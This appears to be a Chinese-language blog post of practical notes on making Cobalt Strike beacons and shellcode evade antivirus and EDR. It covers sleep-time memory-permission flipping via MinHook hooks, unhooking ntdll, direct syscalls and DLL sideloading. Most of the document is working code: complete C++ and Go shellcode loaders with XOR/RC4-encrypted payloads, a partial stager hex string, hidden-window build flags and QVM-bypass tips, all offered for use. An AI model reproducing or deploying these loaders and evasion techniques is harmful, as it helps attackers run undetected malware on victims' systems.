一:stage开辟空间的函数收到c2 profile的影响,profile中的stage规定了allocator的参数作为内存分配的函数,有三个 VirtualAlloc HeapAlloc MapViewOfFile 默认为 VirtualAlloc。所以我们只要hook这三个函数之一,最少可以得到两个地址,然后同时hook Sleep对这两个地址利用 VirtualProtect 修改内存属性。

hook VirtualAlloc 代码示例:

LPVOID WINAPI MyHookedVirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect)
{
LPVOID address = OldVirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect);
printf("address = 0X%p\n", address);
return address;
}

hook后第一个地址为自己开辟内存执行shellcode的内存地址(RWX)

image-20240509152718366

二:遍历扫描内存页,标记特殊属性的页面地址,然后hook Sleep进行翻转属性。这是我所能找到的文章普遍采用的方法

直接贴两个文章:翻转cs beacon属性页一次cs样本免杀实践

Malleable PE/Stage

首先要介绍profile中的配置,你可以在profile中stage标签实现beacon的元数据修改、在内存中的属性、数据的替换、加解密混淆等。

  • sleep_mask: 设置为true时,会对数据和代码进行异或加密,3.11版本是单字节异或,4.2版本是13字节异或

  • userwx:设置执行反射dll所分配的内存属性,true为RWX,false为RX

  • cleanup:设置true后,会抹去存放在内存中的反射DLL,false则不会

  • stomppe:设置为true时能对MZ、PE和e_lfanew的值进行混淆

  • obfuscate:设置为true时,能混淆dll的导入表、区段名等信息,使得根据导入表匹配的规则失效

这里我的设置为

set userwx          "true";
set cleanup "false";
set sleep_mask "false";
set stomppe "false";
set obfuscate "false";

hook VirtualAlloc,x86上线(当x64 hook三个函数时,会造成内部死锁 https://github.com/TsudaKageyu/minhook/issues/99),beacon属性为RWX一整块地址。

image-20240509181004796

再看内存,确实都是beacon的准确地址

image-20240509181502568

再将配置改为

set userwx          "false";
set cleanup "false";
set sleep_mask "false";
set stomppe "false";
set obfuscate "false";

hook VirtualAlloc,x86上线,beacon属性分为RW+RX三部分地址。

image-20240510224506184

内存情况

image-20240510224646554

set userwx          "false";
set cleanup "false";
set sleep_mask "true";
set stomppe "false";
set obfuscate "false";

sleep_mask开启,hook VirtualAlloc,x86上线,heap内存被动态加密。

image-20240510234307048

image-20240510234321484

个人使用如下配置进行测试

set userwx          "false";
set cleanup "false";
set sleep_mask "false";
set stomppe "false";
set obfuscate "false";
set rich_header "";
set smartinject "true";
set allocator "VirtualAlloc";

问题一

以编译时x86为例,实战x64环境可以兼容运行x86。hook VirtualAlloc后只留下真正beacon的内存并修改其属性。

#include <Windows.h>
#include <MinHook.h>
#include <iostream>

#if defined _M_X64
#pragma comment(lib, "libMinHook-x64-v141-mt.lib")
#elif defined _M_IX86
#pragma comment(lib, "libMinHook-x86-v141-mt.lib")
#endif

using namespace std;

// 定义内存页属性结构体
struct MemoryAttrib {
LPVOID address; // 内存地址
DWORD size; // 内存大小
};

// 定义内存信息结构体
struct MemoryInfo {
MemoryAttrib memoryPage[3]; // 能找到符合条件的目标内存最多3个
int index = 0; // 内存下标
BOOL iscleaned = FALSE; //是否清除之前的beacon和shellcode遗留
};

MemoryInfo memoryInfo;

/*-------------------------misc func----------------------------------*/

// 删除 shellcode 和 加密beacon
void DeleteOther()
{
MemoryAttrib shellcode = memoryInfo.memoryPage[0];
MemoryAttrib enc_beacon = memoryInfo.memoryPage[1];
printf("[+]shellcode Address at 0x%p\n", shellcode.address);
printf("[+]enc_beacon Address at 0x%p\n", enc_beacon.address);
// 将内存使用0填充
RtlSecureZeroMemory(shellcode.address, shellcode.size);
RtlSecureZeroMemory(enc_beacon.address, enc_beacon.size);
DWORD oldProt;
//修改属性
VirtualProtect(shellcode.address, shellcode.size, PAGE_READWRITE, &oldProt);
VirtualProtect(enc_beacon.address, enc_beacon.size, PAGE_READWRITE, &oldProt);
memoryInfo.iscleaned = TRUE;
}

/*-------------------------define hook func----------------------------------*/
LPVOID(WINAPI* OldVirtualAlloc)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
void (WINAPI* OldSleep)(DWORD dwMiliseconds);

void (WINAPI MyHookedSleep)(DWORD dwMiliseconds);
LPVOID(WINAPI MyHookedVirtualAlloc)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);

template <typename T>
inline MH_STATUS MH_CreateHookApiEx(
LPCWSTR pszModule, LPCSTR pszProcName, LPVOID pDetour, T** ppOriginal)
{
return MH_CreateHookApi(
pszModule, pszProcName, pDetour, reinterpret_cast<LPVOID*>(ppOriginal));
}

BOOL Hook()
{
if (MH_Initialize() != MH_OK) { return false; }
// hook VirtualAlloc
if (MH_CreateHookApiEx(L"Kernel32.dll", "VirtualAlloc", &MyHookedVirtualAlloc, &OldVirtualAlloc) != MH_OK) { return false; }
// hook Sleep
if (MH_CreateHookApiEx(L"kernel32", "Sleep", &MyHookedSleep, &OldSleep) != MH_OK) { return false; }

if (MH_EnableHook(MH_ALL_HOOKS) != MH_OK) { return false; }
return true;
}

/*-------------------------my hook func--------------------------------*/
LPVOID WINAPI MyHookedVirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect)
{
// 1. shellcode 2. enc-beacon 3. beacon
LPVOID address = OldVirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect);
printf("[+]VirtualAlloc: Reserved %d at address 0x%p\n", dwSize, address);
memoryInfo.memoryPage[memoryInfo.index].address = address;
memoryInfo.memoryPage[memoryInfo.index].size = (DWORD)dwSize;
memoryInfo.index++;
return address;
}

void WINAPI MyHookedSleep(DWORD dwMiliseconds)
{
DWORD oldProt;
if (!memoryInfo.iscleaned) {
DeleteOther();
}
DWORD time = dwMiliseconds;
if (time > 1000) {
//DoSuspendThreads(GetCurrentProcessId(), GetCurrentThreadId());
printf("[+]修改beacon属性为RW: address 0x%p\n", memoryInfo.memoryPage[2].address);
VirtualProtect(memoryInfo.memoryPage[2].address, memoryInfo.memoryPage[2].size, PAGE_READWRITE, &oldProt);

//HeapEncryptDecrypt();
OldSleep(dwMiliseconds);

printf("[+]修改beacon属性为RWX: address 0x%p\n", memoryInfo.memoryPage[2].address);
VirtualProtect(memoryInfo.memoryPage[2].address, memoryInfo.memoryPage[2].size, PAGE_EXECUTE_READWRITE, &oldProt);
//HeapEncryptDecrypt();
//DoResumeThreads(GetCurrentProcessId(), GetCurrentThreadId());
}
else {
OldSleep(time);
}
}

/*-------------------------main--------------------------------*/

int main()
{
if (!Hook()) {return 1; }
unsigned char buf[] = "\xfc\xe8\x89\x00\x00\x00...";

const size_t length = sizeof(buf);
void* shellcode = VirtualAlloc(NULL, length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(shellcode, buf, length);
((void(*)(void)) shellcode)();

return 0;
}

效果图:这里直接修改内存为RWX。

image-20240515013927782

image-20240515014050590

问题二

遍历当前内存页,匹配出带有执行权限的内存地址,标记后进行属性修改。

#include <Windows.h>
#include <MinHook.h>
#include <iostream>

#if defined _M_X64
#pragma comment(lib, "libMinHook-x64-v141-mt.lib")
#elif defined _M_IX86
#pragma comment(lib, "libMinHook-x86-v141-mt.lib")
#endif

using namespace std;

// 定义内存页属性结构体
struct MemoryAttrib {
LPVOID address; // 内存地址
DWORD size; // 内存大小
};

// 定义内存信息结构体
struct MemoryInfo {
MemoryAttrib memoryPage[4]; // 能找到符合条件的目标内存最多3个
int index = 0; // 内存下标
unsigned char* key; // 加解密key
BOOL isScanMemory = FALSE; // 是否已查找内存页信息
BOOL iscleaned = FALSE; //是否清除之前的beacon和shellcode遗留

};
MemoryInfo memoryInfo;

/*-------------------------misc func----------------------------------*/

// 删除 shellcode 和 加密beacon
void DeleteOther()
{
MemoryAttrib shellcode = memoryInfo.memoryPage[memoryInfo.index - 3];
MemoryAttrib enc_beacon = memoryInfo.memoryPage[memoryInfo.index - 2];
printf("[+]shellcode Address at 0x%p\n", shellcode.address);
printf("[+]enc_beacon Address at 0x%p\n", enc_beacon.address);
// 0填充
RtlSecureZeroMemory(shellcode.address, shellcode.size);
RtlSecureZeroMemory(enc_beacon.address, enc_beacon.size);
DWORD oldProt;
//修改属性
VirtualProtect(shellcode.address, shellcode.size, PAGE_READWRITE, &oldProt);
VirtualProtect(enc_beacon.address, enc_beacon.size, PAGE_READWRITE, &oldProt);
memoryInfo.iscleaned = TRUE;

}

// 扫描内存中带有X属性的内存并标记
void ScanMemoryMap()
{
// 内存块信息结构体
MEMORY_BASIC_INFORMATION mbi;

LPVOID lpAddress = 0;
HANDLE hProcess = OpenProcess(MAXIMUM_ALLOWED, FALSE, GetCurrentProcessId());
int* index = &memoryInfo.index;

while (VirtualQueryEx(hProcess, lpAddress, &mbi, sizeof(mbi)))
{
// 查找 RWX / X /RX
if (mbi.Protect == PAGE_EXECUTE_READWRITE || mbi.Protect == PAGE_EXECUTE || mbi.Protect == PAGE_EXECUTE_READ && mbi.Type == MEM_PRIVATE)
{
// 保存内存信息
memoryInfo.memoryPage[*index].address = mbi.BaseAddress;
memoryInfo.memoryPage[*index].size = (DWORD)mbi.RegionSize;
printf("[%d]扫描到地址: 0x%p\n", *index, memoryInfo.memoryPage[*index].address);
(*index)++;

if ((*index) >= 4)
break;
}
// 更新到下一个内存页
lpAddress = (LPVOID)((DWORD_PTR)mbi.BaseAddress + mbi.RegionSize);
}
memoryInfo.isScanMemory = TRUE;
}

/*-------------------------define hook func----------------------------------*/
void (WINAPI* OldSleep)(DWORD dwMiliseconds);

void (WINAPI MyHookedSleep)(DWORD dwMiliseconds);

template <typename T>
inline MH_STATUS MH_CreateHookApiEx(
LPCWSTR pszModule, LPCSTR pszProcName, LPVOID pDetour, T** ppOriginal)
{
return MH_CreateHookApi(
pszModule, pszProcName, pDetour, reinterpret_cast<LPVOID*>(ppOriginal));
}

BOOL Hook()
{
if (MH_Initialize() != MH_OK) { return false; }
//Sleep
if (MH_CreateHookApiEx(L"kernel32", "Sleep", &MyHookedSleep, &OldSleep) != MH_OK) { return false; }
if (MH_EnableHook(MH_ALL_HOOKS) != MH_OK) { return false; }
return true;
}

/*-------------------------my hook func--------------------------------*/
void WINAPI MyHookedSleep(DWORD dwMiliseconds)
{
DWORD oldProt;
if (!memoryInfo.isScanMemory) {
ScanMemoryMap();
}

if (!memoryInfo.iscleaned) {
DeleteOther();
}
DWORD time = dwMiliseconds;
if (time > 1000) {
MemoryAttrib beacon = memoryInfo.memoryPage[memoryInfo.index - 1];
//DoSuspendThreads(GetCurrentProcessId(), GetCurrentThreadId());
printf("[+]修改beacon属性为RW: address 0x%p\n", beacon.address);
VirtualProtect(beacon.address, beacon.size, PAGE_READWRITE, &oldProt);
//HeapEncryptDecrypt();

OldSleep(dwMiliseconds);
printf("[+]修改beacon属性为RX: address 0x%p\n", beacon.address);
VirtualProtect(beacon.address, beacon.size, PAGE_EXECUTE_READ, &oldProt);
//HeapEncryptDecrypt();
//DoResumeThreads(GetCurrentProcessId(), GetCurrentThreadId());
}
else {
OldSleep(time);
}
}

/*-------------------------main--------------------------------*/

int main()
{
if (!Hook()) {return 1; }
unsigned char buf[] = "\xfc\xe8\x89\x00\x00\x00";

const size_t length = sizeof(buf);
void* shellcode = VirtualAlloc(NULL, length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(shellcode, buf, length);
((void(*)(void)) shellcode)();

return 0;
}

效果图:sleep时,beacon属性为RW

image-20240515153954755

没有sleep时,属性为RW+RX三部分

image-20240515154122799

Ref:ShellcodeFluctuationCobalt Strike与YARA:我能拥有你的签名吗?Beacon sleep_mask 分析Cobalt Strike 4.4: The One with the Reconnect ButtonCobaltStrike检测与对抗Analyzing Malware with Hooks, Stomps, and Return-addressesGPUSleep. Makes your beacon disappear into GPU memory

栈欺骗

能力之外:

调用栈欺骗技术

初探堆栈欺骗之静态欺骗

工具

kyleavery/AceLdr: Cobalt Strike UDRL for memory scanner evasion 涵盖以上所有bypass。

行为对抗免杀

杀软目前都有主动防御,对恶意行为进行拦截提示,比如这些行为:

  • 注册表操作、添加启动项、添加服务

  • 文件写入、读系统文件、删除文件、移动文件

  • 杀进程、创建进程、加载dll

  • 注入、劫持等

如下几种bypass

1. 替换API
使用相同功能的API进行替换,由于杀软只会针对一部分API进行拦截,对于API不能做到面面俱到的拦截,比如未导出API和底层API,所以这种方法还是有效的。

2. 重写API
完全重写系统的API功能,实现自己的对应功能API,对ring3的行为拦截非常有效。

3. 合理更改调用顺序
有时被拦截的行为是通过多个API组合来完成的,所以合理替换顺序,绕过杀软的拦截策略,也可以绕过行为拦截

4. 绕过调用源
直接调用0环API。

关于行为对抗,我建议借鉴学习该项目:CobaltStrike_CNA,在cs上使用 net user admin /delete 就会被拦截,看一下该项目是怎么绕过的:

通过使用cs的反射dll技术,调用 reflective_dll.dll

image-20240516145945893

调用的是 NetUserAdd API,比较常见的api了

image-20240516150042665

[利用ReflectiveDLL来武装你的Cobalt Strike](https://uknowsec.cn/posts/notes/利用ReflectiveDLL来武装你的Cobalt Strike.html)

一些绕过AV进行UserAdd的方法总结及实现

unhook API

目的就是获取纯净的 ntdll 以避免 API 函数被hook。

四种方式:

  • 磁盘重载 ntdll
  • PE 文件映射
  • 挂起的进程获取干净的ntdll
  • 自定义直接跳转

几种unhook手法的学习 - fdx_xdf

自定义跳转函数的unhook方法

Hook免杀实战: 去除杀软的三环钩子_unhook 免杀

bypass Bitdefender

Defeat Bitdefender total security using windows API unhooking to perform process injection - Shells.Systems

项目:

LdrLoadDll-Unhooking-x86-x64/unhook.cpp at main · fdx-xdf/LdrLoadDll-Unhooking-x86-x64

PerunsFart: This is my own implementation of the Perun’s Fart technique by Sektor7

/Freeze: Freeze is a payload toolkit for bypassing EDRs using suspended processes, direct syscalls, and alternative execution methods

SYSCALL

简单来说就是跳过api函数调用,直接通过SSN号,利用syscall,直接在内核操作,避免使用API函数。具体原理细节讲不懂。

image-20240516214827068

总结:

首先,为了防止 api 被 hook,提出了 syscall 函数,这产生了地狱之门的项目,然而,当 ntdll 被 hook 时,这种方法就失效了,因此出现了更高级的技术,如“光环之门”,试图通过邻居来获取系统调用号(SSN)。然而,即使获取了 SSN,仍然有可能被安全软件检测到,因为系统调用的签名(sysall)可能会被查杀。为了解决这个问题,出现了“egg_hunter”等技术。但是堆栈的问题还没有解决,我们需要合法的堆栈, SysWhispers2 和 SysWhispers3,它们提出了间接系统调用的方案,进一步提高了对系统调用的隐藏性和逃避性,使得安全工具更难检测到和拦截这些调用

Ref:

Windows系统调用学习笔记(2)3环进0环

通过重写ring3 API函数实现免杀

Syscall笔记 - fdx_xdf

浅谈 Windows Syscall

API函数的调用过程(三环到零环)以及重写WriteProcessMemory三环

SysWhispers3学习

项目:

SysWhispers3: SysWhispers on Steroids - AV/EDR evasion via direct system calls

白加黑

之前写过一篇关于dll劫持的白加黑:初探DLL劫持,再推个项目吧:

SearchAvailableExe: 寻找可利用的白文件

https://github.com/Neo-Maoku/DllMainHijacking

报错的话转发处理下就行了。

void runShellcode() {
string data = "37bcc518419......"; // rc4加密

const size_t length = data.size() / 2;
unsigned char* buf = (unsigned char*)malloc(length);
// 调用函数将十六进制字符串转换为字节型数组
ToBytes(data, buf, length);
unsigned char key[] = "key is here";
enc_dec(key, buf);
LPVOID shellcode = VirtualAlloc(NULL, length, MEM_COMMIT | MEM_RESERVE, 0x40);

memcpy(shellcode, buf, length);

void(*func)();
func = (void(*)())shellcode;
func();
}

image-20240517122818922

image-20240517143734080

Ref:https://saucer-man.com/information_security/1171.html

堆栈溢出

无Windows API的新型恶意程序:自缺陷程序利用堆栈溢出的隐匿稳定攻击技术研究

是个思路,但是有dll的话不如用白加黑。

临时免杀

golang syscall

package main

import (
"syscall"
"unsafe"
)

func main() {

// shellcode is here
data := []byte{0x56, 0xe2,......}
key := byte(0xAA)

// 解密shellcode
for i := 0; i < len(data); i++ {
data[i] ^= key
}


// 加载动态链接库
kernel32, err := syscall.LoadLibrary("kernel32.dll")
if err != nil {
return
}
defer syscall.FreeLibrary(kernel32)

// 获取 VirtualAlloc 函数地址
virtualAlloc, err := syscall.GetProcAddress(kernel32, "VirtualAlloc")
if err != nil {
return
}

// 获取 RtlMoveMemory 函数地址
ntdll, err := syscall.LoadLibrary("ntdll.dll")
if err != nil {
return
}
defer syscall.FreeLibrary(ntdll)

rtlMoveMemory, err := syscall.GetProcAddress(ntdll, "RtlMoveMemory")
if err != nil {
return
}

// 调用 VirtualAlloc 分配内存
mem, _, err := syscall.Syscall6(uintptr(virtualAlloc), 4,
0, // lpAddress (0 for system to determine)
uintptr(4096), // dwSize (size of allocation)
uintptr(0x1000), // flAllocationType (commit reserved pages)
uintptr(0x40), // flProtect (PAGE_EXECUTE_READWRITE)
0, 0)

// 执行shellcode
_, _, err = syscall.Syscall6(uintptr(rtlMoveMemory), 3,
mem, // Destination
uintptr(unsafe.Pointer(&data[0])), // Source
uintptr(len(data)), // Length
0, 0, 0)

syscall.Syscall(mem, 0, 0, 0, 0)
}

enc.go

package main

import (
"encoding/hex"
"fmt"
"strings"
)

func main() {
// 要加密的数据
dataHex := `shellcode is here`

dataHex = strings.ReplaceAll(dataHex, "\t", "")
dataHex = strings.ReplaceAll(dataHex, "\n", "")
dataHex = strings.ReplaceAll(dataHex, "\\x", "")

// 解析十六进制字符串为字节切片
data, err := hex.DecodeString(dataHex)
if err != nil {
fmt.Println("解析十六进制字符串失败:", err)
return
}

// 加密密钥
key := byte(0xAA)

// 加密数据
for i := 0; i < len(data); i++ {
data[i] ^= key
}

// 将加密后的内容按 \x 格式输出
encryptedString := ""
for _, b := range data {
encryptedString += fmt.Sprintf("\\x%02x", b)
}

fmt.Println("加密后的内容:", encryptedString)
}

编译:

go build -ldflags "-H windowsgui" main.go

c++ rc4

#include <Windows.h>
#include <string>
#include <fstream>
#include <iostream>
#include "lazy_importer.hpp"

using namespace std;
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")

#define size_b 256
unsigned char sbox[257] = { 0 };

//初始化s表
void init_sbox(unsigned char* key) {
unsigned int i, j, k;
int tmp;
for (i = 0; i < size_b; i++) {
sbox[i] = i;
}
j = k = 0;
for (i = 0; i < size_b; i++) {
tmp = sbox[i];
j = (j + tmp + key[k]) % size_b;
sbox[i] = sbox[j];
sbox[j] = tmp;
if (++k >= strlen((char*)key))k = 0;
}
}

//加解密函数
void AES_enc(unsigned char* key, unsigned char* data) {
int i, j, k, R, tmp;
init_sbox(key);

j = k = 0;
for (i = 0; i < strlen((char*)data); i++) {
j = (j + 1) % size_b;
k = (k + sbox[j]) % size_b;

tmp = sbox[j];
sbox[j] = sbox[k];
sbox[k] = tmp;

R = sbox[(sbox[j] + sbox[k]) % size_b];

data[i] ^= R;
}
}


unsigned char hexCharToByte(char character) {
if (character >= '0' && character <= '9') {
return character - '0';
}
if (character >= 'a' && character <= 'f') {
return character - 'a' + 10;
}
if (character >= 'A' && character <= 'F') {
return character - 'A' + 10;
}
return 0;
}

void ToBytes(const std::string& hexString, unsigned char* byteArray, int byteArraySize) {
for (int i = 0; i < hexString.length(); i += 2) {
byteArray[i / 2] = hexCharToByte(hexString[i]) * 16 + hexCharToByte(hexString[i + 1]);
}
}

int main() {

string data = "93bf58b44d4d8c000000415141505251564831d265488b5260488b5218488b5220488b7250480fb74a4a4d31c94831c0ac3c617c022c2041c1c90d4101c1e2ed5241514....";
ifstream ifs;
ifs.open("sss.txt", ios::in);
if (ifs.is_open()) {
string line;
getline(ifs, line);
ifs.close();
}

const size_t length = data.size() / 2; // 字节长度

unsigned char* buffer = (unsigned char*)malloc(length);
// 调用函数将十六进制字符串转换为字节型数组
ToBytes(data, buffer, length);
unsigned char key[] = "baidu.com";
AES_enc(key, buffer);
char* mypng = (char*)LI_FN(VirtualAlloc)(nullptr, length, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(mypng, buffer, length);
((void(*) ())mypng)();

return 0;
}

杂项

添加资源

绕过QVM

加资源文件即可

image-20240507104631466

vs配置免杀

主绕过QVM

https://mp.weixin.qq.com/s/UJlVvagNjmy9E-B-XjBHyw

image-20240505181614551

image-20240505181628246

image-20240505181642420

image-20240505181653701

image-20240505181712675

image-20240505181809890